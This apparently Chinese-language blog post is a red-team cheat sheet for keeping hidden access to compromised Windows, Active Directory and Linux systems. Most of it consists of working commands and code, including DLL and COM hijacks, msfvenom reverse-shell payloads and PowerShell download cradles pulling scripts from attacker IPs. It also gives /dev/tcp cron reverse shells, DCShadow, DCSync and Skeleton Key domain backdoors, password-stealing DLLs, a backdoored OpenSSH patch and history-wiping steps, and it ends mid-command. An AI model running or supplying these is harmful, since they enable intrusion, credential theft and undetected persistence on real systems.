站内公告: |
时间:2021-01-15 点击:0 次 来源:管理员 作者:小乐 - 小 + 大
注册表位置:HKCU\Software\Classes\CLSID\ 创建项{42aedc87-2188-41fd-b9a3-0c966feabec1} 创建子项InprocServer32 Default的键值为恶意dll的绝对路径:C:\test\1.dll 创建键值: ThreadingModel REG_SZ Apartment image HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9} HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E} Squibledoo 创建1.sct progid="Component.WindowsUpdate" version="1.00" classid="{20002222-0000-0000-0000-000000000002}" > 创建COM对象 >regsvr32.exe /s /i:http://192.168.0.107/1.sct scrobj.dll 触发 >cscript 1.js var test = new ActiveXObject("Component.TESTCB"); test.exec() DLL劫持 劫持1 注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 "lpk.dll"(若无,自己创建) ExcludeFromKnownDlls可使KnownDLLs失效 需要重新启动电脑 查找可劫持的DLL: 1.启动程序 2.使用Process Explorer查看该应用程序启动后加载的DLL。 3.从已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 4.编写第三步中获取到的DLL的劫持DLL。 5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。 image Explorer.exe启动调用winrar文件夹的RarExt.dll Msf监听 image 复制dll文件到the-backdoor-factory文件夹中,加载恶意dll进原dll >python backdoor.py -f RarExt.dll -s reverse_shell_tcp_inline -P 12138 -H 192.168.0.107 指定为kali监听的IP和端口 image 生成好的dll在backdoored文件夹,传入靶机中,替换原dll文件,最好把原dll保存备份。 每次打开windows资源管理器的时候,即可上线。重启可维持 image 劫持2 使用 https://github.com/coca1ne/DLL_Hijacker https://github.com/git20150901/DLLHijack_Detecter 查看要劫持的DLL的函数导出表,会直接生成cpp源码,重编译指向恶意代码 DLLHijack_Detecter可查看程序加载的不在KnownDLLs中的DLL MSDTC服务劫持 服务名称MSDTC,显示名称Distributed Transaction Coordinator 对应进程msdtc.exe,位于%windir%system32 C:\Windows\System32\wbem\ 服务启动搜索注册表位置计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.51 LPORT=4444 -f dll -o /var/www/html/oci.dll Oci.dll放入c:\windows\system32\ 重启服务即可 >taskkill /f /im msdtc.exe Rattler 自动化查找可劫持的DLL https://github.com/sensepost/rattler 使用 >Rattler_x64.exe calc.exe 1 会列出可被劫持的DLL image 按程序读取DLL位置顺序,把恶意DLL放入程序同目录后,执行程序即可。 image image DLL代理劫持右键 右键对应的注册表路径是 HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers 使用autoruns查看加载的DLL image 以rarext.dll为例 使用https://github.com/rek7/dll-hijacking创建代理DLL 注意修改parse.py中dumpbin.exe的位置 image >python3 parse.py -d rarext.dll image 修改原DLL为rarext_.dll,重新生成解决方案命名为rarext.dll 将两个DLL放入原目录,重启 使用AMSI扫描接口维持权限 https://gist.github.com/b4rtik/48ef702603d5e283bc81a05a01fccd40 现amsi已经集成到win10以下组件中 UAC PowerShell Windows脚本(wscript.exe和cscript.exe) JavaScript和VBScript Office VBA宏 image 这里使用nc来反弹个shell image 使用regsvr32注册dll或手动添加 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID(默认)REG_SZ “提供程序描述” HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (默认) REG_EXPAND_SZ " DLL的路径" -ThreadingModel REG_SZ "Both" HKLM \ SOFTWARE \ Microsoft \ AMSI \ Providers \ GUID Regsvr32使用超管权限 image 一旦注册,Dll将被加载到任何涉及AMSI和SampleAmsiProvider::Scan方法的进程中,比如在程序中设定,在powershell下发送字符串,触发scan方法,当发送字符串为我们设定的字符串的时候就触发恶意DLL image image DLL劫持计划任务 function Invoke-ScheduledTaskComHandlerUserTask { [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Command, [Switch] $Force ) $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32" if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ New-Item $ScheduledTaskCommandPath -Force | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null }else{ Write-Verbose "Key already exists, consider using -Force" exit } if (Test-Path $ScheduledTaskCommandPath) { Write-Verbose "Created registry entries to hijack the UserTask" }else{ Write-Warning "Failed to create registry key, exiting" exit } } Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose 重启权限可维持 DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.105/powersploit/CodeExecution/Invoke-DllInjection.ps1'); Invoke-DllInjection -ProcessID pid -Dll .\1.dll" InjectProc 生成DLL #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/qq.dll #use exploit/multi/handler #set payload windows/x64/meterpreter/reverse_tcp 使用如下命令注入进程 >InjectProc.exe dll_inj qq.dll xx.exe(存在的进程) image 通过控制面板加载项维持权限 编译为dll,这里是弹框测试 #include #include "pch.h" //Cplapplet extern "C" __declspec(dllexport) LONG Cplapplet( HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2 ) { MessageBoxA(NULL, "inject control panel.", "Control Panel", 0); return 1; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Cplapplet(NULL, NULL, NULL, NULL); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } image 添加到注册表中,只要运行control命令打开控制面板即可加载dll reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\xxx\dll.dll" /f image 通过自定义.net垃圾回收机制进行DLL注入 低权限用户可指定.net应用程序使用自定义垃圾收集器(GC),一个自定义GC可以以COMPLUS_GCName此环境变量指定,只需将此环境变量指向到恶意DLL,自定义GC的DLL需要一个名为GC_VersionInfo的导出表。 下面是个弹框DLL #include BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } struct VersionInfo { UINT32 MajorVersion; UINT32 MinorVersion; UINT32 BuildVersion; const char* Name; }; extern "C" __declspec(dllexport) void GC_VersionInfo(VersionInfo * info) { info->BuildVersion = 0; info->MinorVersion = 0; info->BuildVersion = 0; MessageBoxA(NULL, "giao", "giao", 0); } image 后执行任意.net程序可加载此DLL image 当然也可以加载shellcode https://github.com/am0nsec/MCGC image image image Windows FAX DLL Injection 恶意DLL改名为fxsst.dll放置在c:\windows\目录即可实现对explorer.exe的劫持 DSRM+注册表ACL后门 >reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 允许DSRM账户远程访问 https://github.com/HarmJ0y/DAMP 效果:域内任何用户可读取域控hash system权限执行 >psexec.exe -accepteula -s -i -d cmd.exe 域控制器执行 PS>Add-RemoteRegBackdoor -ComputerName 域控名 -Trustee 'S-1-1-0' –Verbose image 域内机器执行 https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1 PS> Get-RemoteLocalAccountHash -ComputerName 域控 –Verbose image 域控上执行 >reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 image PTH攻击,mimikatz需以管理员身份启动 >mimikatz "privilege::debug" "sekurlsa::pth /domain:dc /user:Administrator /ntlm:9f1770aebd442b6b624bdfe9cbc720dd" exit image DCShadow&SID History http://192.168.0.107/ps/nishang/ActiveDirectory/Set-DCShadowPermissions.ps1 DCShadow攻击是通过更改AD架构,使域内一台机器伪造成域控。 此脚本可以通过修改AD对象提供DCShadow攻击的最小权限。 运行此脚本需要DA(Domain Administrator)权限,可以使指定用户不需要DA权限使用mimikatz。 域控:dc.zone.com 域内机器:sub2k8.zone.com 域内普通用户:y 域控执行 >Set-DCShadowPermissions -Fakedc sub2k8 -Object dc -username y –Verbose 注册sub2k8为假DC,给予用户y从sub2k8修改dc的计算机对象的权限。 image 在sub2k8上,以本地system权限启动一个mimikatz会话,以zone\y权限启动一个mimikatz会话。 image image System权限窗口执行dcshadow攻击,修改dc的计算机属性 Zone\y权限窗口用于推送 添加域管理 通过修改安全标识符,将域内普通用户y提升为域管理用户 >lsadump::dcshadow /object:y /attribute:primaryGroupID /value:512 image image image Zone\y推送 >lsadump::dcshadow /push image 此时在域控上查询可见y用户已经加入域管理组。 image 添加SIDHistory后门 记录域管理SID image >Set-DCShadowPermissions -FakeDC sub2k8 -Object y -Username y -Verbose image >lsadump::dcshadow /object:y /attribute:sidhistory /value:S-1-5-21-2346829310-1781191092-2540298887-500 推送 >lsadump::dcshadow /push image 测试 image 域控中通过mimikatz命令可查询到SIDHistory image 删除SIDHistory的方法 PS>Get-ADUser -Filter {name -eq "y"} –Properties sidhistory|foreach {Set-ADuser $_ –remove @{sidhistory="S-1-5-21-2346829310-1781191092-2540298887-500"}} image image 删除功能规则 输入的规则后面加参数-remove即可。 image DCSync后门 服务器管理器找到域->查看->启用高级功能->右键属性->安全->everyone完全控制 >mimikatz.exe "lsadump::dcsync /domain:zone.com /user:administrator" exit image 或使用powerview添加一条ACL(域控执行) >Add-DomainObjectAcl -TargetIdentity "DC=ZONE,DC=COM" -PrincipalIdentity 域内用户 -Rights DCSync -Verbose image 使用此账户在域内任意主机可使用mimikatz的dcsync功能导出凭据 image 移除ACL >Remove-DomainObjectAcl -TargetIdentity "DC=zone,DC=com" -PrincipalIdentity 用户 -Rights DCSync -Verbose Netsh Helper DLL https://github.com/outflanknl/NetshHelperBeacon https://github.com/rtcrowley/Offensive-Netsh-Helper MSFvenom生成DLL 生成DLL格式木马 image 传至靶机执行命令 >netsh add helper C:\Windows\Temp\help.dll image MSF+web_delivery 关闭netsh权限不会掉,调用的powershell #use exploit/multi/script/web_delivery >set target 2 #PSH >set payload windows/x64/meterpreter/reverse_tcp >set lhost 192.168.0.107 >set lport 12345 image Visual Studio新建空白DLL项目,源文件添加现有文件 https://github.com/rtcrowley/Offensive-Netsh-Helper/blob/master/netshlep.cpp 复制生成的代码进文件中,配置管理器新建x64位数后生成解决方案,配置类型选择位动态库复制DLL到靶机执行 image image >netsh add helper helper.dll image MSF&Shellcode 关闭netsh后权限会掉 https://github.com/outflanknl/NetshHelperBeacon MSFvenom生成.c格式 >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f c -o /var/www/html/1.c Visual Studio打开项目 若系统是64位需设置配置管理器为64位项目,反之32(解决方案右键属性) image 将MSF生成shellcode粘贴进相应位置后生成解决方案。 image image 会在项目目录x64/Release下生成dll 复制DLL到靶机system32目录下,执行命令 >netsh add helper C:\Windows\System32\NetshHelperBeacon.dll image 只要启动netsh就会触发 image MSSQL后门 注册表自启动 >powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegRun -Verbose -Name Update -Command 'c:\windows\temp\Update.exe' -Instance "zone.com\sub2k8"" 重启MSSQL上线(需重启服务) http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1 >powershell -ep bypass >IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Powershellery/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psm1') >Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "zone.com\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')" 远程木马脚本可用CS/Empire生成 >net stop mssqlserver >net start mssqlserver 映像劫持 >powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/PowerUpSQL.ps1');Get-SQLPersistRegDebugger -Verbose -FileName sethc.exe -Command "c:\windows\system32\cmd.exe" -Instance "zone.com\sub2k8"" DDL事件触发 >powershell -exec bypass >IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/PowerUpSQL/Invoke-SqlServer-Persist-TriggerDDL.psm1') >Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "zone\sub2k8" -PsCommand "IEX(new-object net.webclient).downloadstring('http://192.168.0.107/xxxx')" 远程木马文件可用CS/Empire生成 >Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance " zone\sub2k8" -Remove 移除后门 NSSM http://www.nssm.cc/release/nssm-2.24.zip NSSM封装可执行程序为系统服务 >nssm install 服务名称会自动弹出设置 image Path选择powershell的路径,arguments直接输入参数。 启动服务 >nssm start 服务名称 image 会上线 image 重启电脑,权限也会维持 删除服务 >nssm remove image 添加签名 https://github.com/secretsquirrel/SigThief >python sigthief.py -i 被窃取的文件 -t 要添加签名的恶意文件 -o 保存文件 >python sigthief.py -i rarext.dll -t rarextdwa.dll -o 1.dll image image image image Metsvc Meterpreter> run metsvc -A 在C:Windows\TEMP下随机生成目录三个文件,创建服务metsvc 31337端口 连接后门 Msf>use exploit/multi/handler Msf>set payload windows/metsvc_bind_tcp Msf>set rhost 192.168.1.2 Msf>set rport 31337 Msf>run 删除服务 Meterpreter > run metsvc –r Persistence Meterpreter>run persistence -X -i 10 -r 192.168.1.9 -p 4444 -X系统启动时运行 -i每隔10秒尝试连接服务端 连接后门 Msf>use exploit/multi/handler Msf>set payload windows/meterpreter/reverse_tcp Msf>set lhost 192.168.1.1 Msf>set lport 4444 Msf>run HookPasswordChangeNotify 使用VS2015开发环境,MFC设置为在静态库中使用MFC 编译工程,生成HookPasswordChange.dll https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 在代码尾部添加如下代码: >Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass 并命名为HookPasswordChangeNotify.ps1 上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行 >PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 C:\Windows\Temp下可以找到passwords.txt & https://gitee.com/RichChigga/PasswordchangeNotify 上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行: >PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 在C:\Windows\System32 新建文件system.ini第一行是连接的ip 第二行是端口 image NPPSpy记录密码 https://github.com/gtworek/PSBits/blob/master/PasswordStealing/NPPSpy/NPPSPy.c 默认保存位置是C盘根目录,可以修改重新编译 image 将DLL放入system32文件夹内 image 执行ps1脚本自动添加注册表 image 无需重启 image Password Filter DLL https://github.com/3gstudent/PasswordFilter visualstudio生成解决方案 DLL放在%windir%\system32\下 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的Notification Packages,添加Win32Project3 image >REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" >REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "scecli\0rassfm\0Win32Project3" /f 重启之后只要修改用户的密码,即可记录 image 文件默认在C盘根目录,可在源码中修改 image WMIC事件订阅 每隔30秒加载一次payload >wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" >wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23",CommandLineTemplate="远程调用(powershell,regsvr32,mshta等)" >wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\"" image 重启维持 卸载后门 >Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose >Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose >Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose WMI-Persistence https://gitee.com/RichChigga/WMI-Persistence cobalt strike ->payload generator->powershell(use x64) image attack->文件下载,文件选择payload generator的脚本,local uri为随意文件 image 生成后地址替换进WMI-Persistence脚本内 image # powershell -exec bypass PS > Import-Module .\WMI-Persistence.ps1 PS > Install-Persistence image PS > Check-WMI 重启后即可上线system权限(要等待4-6分钟) image 自定义上线 image attack->文件下载,exe木马指定为文件。local uri为随意文件,wmi.xsl放在web目录 image 修改wmi.xsl xmlns:user="placeholder" version="1.0"> var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c certutil -urlcache -split -f http://192.168.0.107/load.jpg %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://192.168.0.107/load.jpg delete",0); ]]> image WMI-Persistence脚本修改payload地址为wmi.xsl $finalPayload=" wmic os get /FORMAT:`"$Payload`"" image >powershell -exec bypass PS > Import-Module .\WMI-Persistence.ps1 PS > Install-Persistence PS > Check-WMI PS > Remove-Persistence 删除模块 重启后即可上线 image Invoke-Tasksbackdoor >powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.103/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method nccat -ip 192.168.0.103 -port 9999 -time 2" > powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.103/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method msf -ip 192.168.0.103 -port 8081 -time 2" image Invoke-ADSBackdoor 使用ADS创建一个隐藏文件,创建一个计划任务每隔一分钟请求一次攻击。 >powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Backdoors/Invoke-ADSBackdoor.ps1'); Invoke-ADSBackdoor -PayloadURL http://192.168.0.107/ps/Schtasks-Backdoor.ps1 -Arguments 'Invoke-Tasksbackdoor -method nccat -ip 192.168.0.107 -port 12138 -time 1'" image image image 生成 >msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.107 LPORT=12138 -f powershell -o /var/www/html/ads #use exploit/multi/handler #set payload windows/x64/meterpreter/reverse_https #run ADS隐藏webshell 指定宿主文件,index.php是网页正常文件 >echo ^ > index.php:hidden.jpg $a="696E6465782E7068703"."A68696464656E2E6A7067";#hex编码 $b="a"; include(PACK('H*',$$b)) ?> >echo 9527 > 1.txt:flag.txt >notepad 1.txt:flag.txt 或不指定宿主文件 >echo hide > :key.txt >cd ../ >notepad test:key.txt 上传处绕过 上传的文件名 服务器表面现象 生成的文件内容 test.php:a.jpg 生成test.php 空 test.php::$DATA 生成test.php test.php::$INDEX_ALLOCATION 生成test.php文件夹 \ test.php::$DATA\0.jpg 生成0.jpg ADS&JavaScript 创建一个txt文件,test.txt,随便添加内容(实际的工具,即用户要用的那个工具)。 将程序写入文件流(此处用calc.exe) >type calc.exe > test.txt:calc.exe 使用mklink创建文件链接: >mklink config.txt test.txt:calc.exe 创建readme.txt,文件内容随便。设置为隐藏。 创建readme.js,内容如下: var objShell = new ActiveXObject("shell.application"); objShell.ShellExecute("cmd.exe", "/c config.txt", "", "open", 0); objShell.ShellExecute("README.txt", "", "", "open", 1); 执行readme.js,运行calc.exe ,打开readme.txt Empire LNK后门 Empire Empire> set Host http://192.168.1.150 Empire> set Port 8080 >launcher powershell Listener's Name 生成后只使用Base64的代码。 >powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -EncScript Base64编码" image image image image 清除后门 >powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\Users\Administrator.DC\Desktop\Easy CHM.lnk' -CleanUp" image WMI Empire>powershell/persistence/elevated/wmi 注入SSP被动收集密码 需高权限 Mimikatz 重启失效 >privilege::debug >misc::memssp 锁屏 >rundll32.exe user32.dll,LockWorkStation image 登录的账号密码保存在 C:\Windows\System32\mimilsa.log image 重启有效 将mimikatz中的mimilib.dll放入system32目录 >reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" 查看注册表 >reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ 添加mimilib image 有账号登录密码保存在C:\Windows\System32\kiwissp.log重启也有效 image Empire 复制mimilib.dll到system32文件夹中 >shell copy mimilib.dll C:\Windows\System32\ 使用模块 >usemodule persistence/misc/install_ssp* >set Path C:\Users\Administrator\mimilib.dll Powersploit >Import-Module .\PowerSploit.psm1 >Install-SSP -Path .\mimilib.dll 基于域策略文件权限后门 域的组策略和脚本存放在域控机的C:\Windows\SYSVOL\sysvol\zone.com\Policies目录,域内机器定时访问以更新策略 域控机设置policies为everyone完全控制 >cacls C:\Windows\SYSVOL\sysvol\zone.com\Policies /e /t /c /g "EveryOne":f image 使用powerview查询域内机对应策略文件 PS> Get-NETGPO -ComputerName sub2k8.zone.com |fl gpcfilesyspath 打开C:\Windows\SYSVOL\sysvol\zone.com\Policies\{id}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf末尾添加 [Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1 手动刷新策略 >gpupdate /force 劫持taskhost.exe,可替换c:\windows\system32\calc.exe为后门文件或语句。 Kerberoasting后门 当有setspn权限时,为域用户添加一个SPN >setspn -U -A RDP/zone.com godadmin image 域内任何主机可以使用Kerberoast 获得TGS https://github.com/malachitheninja/Invoke-Kerberoast image >Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation |Out-File xx.txt image 或使用rubeus.exe image 破解 >hashcat -m 13100 -a 0 kerberos.txt wordlist.txt S4U2Self后门 域控执行,寻找具备SPN且密码永不过期的账户 >Get-ADUser -Filter * -Properties ServicePrincipalName,PasswordNeverExpires| ? {($_.ServicePrincipalName -ne "") -and ($_.PasswordNeverExpires -eq $true)} image 使用mimikatz的dcsync提取用户hash >lsadump::dcsync /domain:zone.com /user:y image 布置后门 >Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount 账户 image 布置完成后利用,登录账户y 触发后门 >Rubeus.exe s4u /user:y /aes256:{aes256} /domain:zone.com /msdsspn:krbtgt /impersonateuser:godadmin image 注入票据,获取域控的CIFS、LDAP服务 >Rubeus.exe asktgs /ticket:{} /service:cifs/dc.zone.com,ldap/dc.zone.com /ptt image image image image 受限委派后门 http://192.168.0.107/ps/nishang/ActiveDirectory/Add-ConstrainedDelegationBackdoor.ps1 新增一个受限委派服务账户,或添加受限委派后门功能给一个已知账户密码存在的服务账户。 需运行在域控制器上,本次演示的是新建后门账户,若是给已知账户密码的服务账户添加功能,步骤一致。 PS > Add-ConstrainedDelegationBackdoor -SamAccountName backdoor -Domain zone.com -AllowedToDelegateTo ldap/dc.zone.com 密码默认为Password@123!可以修改脚本中$Password参数修改密码。 image image https://github.com/samratashok/ADModule 导入ADModule中的Microsoft.ActiveDirectory.Management.dll和Import-ActiveDirectory.ps1 >Import-Module Microsoft.ActiveDirectory.Management.dll -Verbose >Import-Module Import-ActiveDirectory.ps1 现以域内普通用户y登录一台域内机器sub2k8,使用kekeo获取TGT Kekeo#tgt::ask /user:backdoor /domain:zone.com /password:Passowrd@123! image Kekeo#tgs::s4u /tgt:TGT_backdoor@ZONE.COM_krbtgt~zone.com@ZONE.COM.kirbi /user:godadmin@zone.com /service:ldap/dc.zone.com获取以域管理身份访问ldap的TGS image 使用mimikatz写入TGS票据 mimikatz#kerberos::ptt C:\Users\y.ZONE\Desktop\kekeo\x64\TGS_godadmin@zone.com@ZONE.COM_ldap~dc.zone.com@ZONE.COM.kirbi image 接下来就可以dcsync导出krbtgt的hash,通过krbtgt伪造黄金票据 mimikatz#lsadump::dcsync /user:krbtgt /domain:zone.com image Skeleton Key万能钥匙 域控上使用mimikatz执行 >privilege::debug >misc::skeleton image 可以使用域内任何账号以密码mimikatz登录任意域内主机 使用Empire模块 >usemodule persistence/misc/skeleton_key* 绕过LSA Protection >privilege::debug >!+ >!processprotect /process:lsass.exe /remove >misc::skeleton 唯一IP访问 >msfvenom -p windows/shell_hidden_bind_tcp LPORT=443 AHOST=192.168.0.107 -f exe > svchost.exe 只有当107这台机器连接时可获得shell,其他机器不可以。 image image image Linux cron后门 >msfvenom -p cmd/unix/reverse_bash LHOST=192.168.0.107 LPORT=12138 -f raw > /var/www/html/shell.sh (crontab -l;printf "*/1 * * * * /bin/bash /tmp/shell.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - image #!bash (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.1.1/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - Strace记录ssh密码 安装strace #apt-get install strace #vi ~/.bashrc 添加 alias ssh='strace -o /tmp/.log -e read,write,connect -s 2048 ssh' SSHD后门 >ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 执行后开启31337端口,使用root任意密码登录 >ssh root@192.168.1.1 -p 31337 进程注入 http://cymothoa.sourceforge.net/ 靶机>./cymothoa -p 进程PID -s 1 -y 端口 攻击机>nc -vv ip 端口 SSH wrapper后门 #cd /usr/sbin #mv sshd ../bin #echo '#!/usr/bin/perl' >sshd #echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd #echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd #chmod u+x sshd #/etc/init.d/sshd restart 攻击机执行 >socat STDIO TCP4:192.168.0.110:22,sourceport=13377 image SUID Shell >cp /bin/bash /tmp/tmp >chmod u+s /tmp/tmp >/tmp/tmp -p SSH公私钥登录 >vim /etc/ssh/sshd_conf取消以下注释 image >ssh-keygen生成 复制/root/.ssh/id_rsa.pub文件到攻击端的/root/.ssh/authorized_keys >ssh -i id_rsa targer@1.1.1.1 Reptile https://github.com/f0rb1dd3n/Reptile 安装 >apt install build-essential libncurses-dev linux-headers-$(uname -r) >git clone https://github.com/f0rb1dd3n/Reptile.git Kbeast_rootkit http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz version - 0 : 2.6.18 (RHEL/CentOS 5.x) 1 : 2.6.32 (Ubuntu 10.x) [default version] 修改配置config.h 安装路径、日志路径、端口、连接密码、连接用户 image ./setup build 攻击机连接 >telnet 192.168.1.1 13377 OpenSSH后门 下载 http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz 备份配置文件 >mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old >mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 安装关联文件 centos >yum install -y openssl openssl-devel pam-devel zlib zlib-devel Ubuntu >apt-get install -y openssl libssl-dev libpam0g-dev >tar zxvf openssh-5.9p1.tar.gz >tar zxvf 0x06-openssh-5.9p1.patch.tar.gz >cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/ >cd openssh-5.9p1 >patch image /tmp/ilog记录登录到本机的用户密码 /tmp/olog记录本机登录其他机器的账户密码 日志文件前可以加个.隐藏起来 SECRETPW是连接后门密码 查看当前版本 >ssh -V image 修改version.h改为当前版本 image 编译安装 Centos7 >./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5 >make clean >make && make install >systemctl restart sshd.service ubuntu >./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam >make clean >make&&make install 重启服务,修改文件日志 >touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config >touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config image image 清除痕迹 >export HISTFILE=/dev/null >export HISTSIZE=0 >export HISTFILESIZE=0 >sed -i 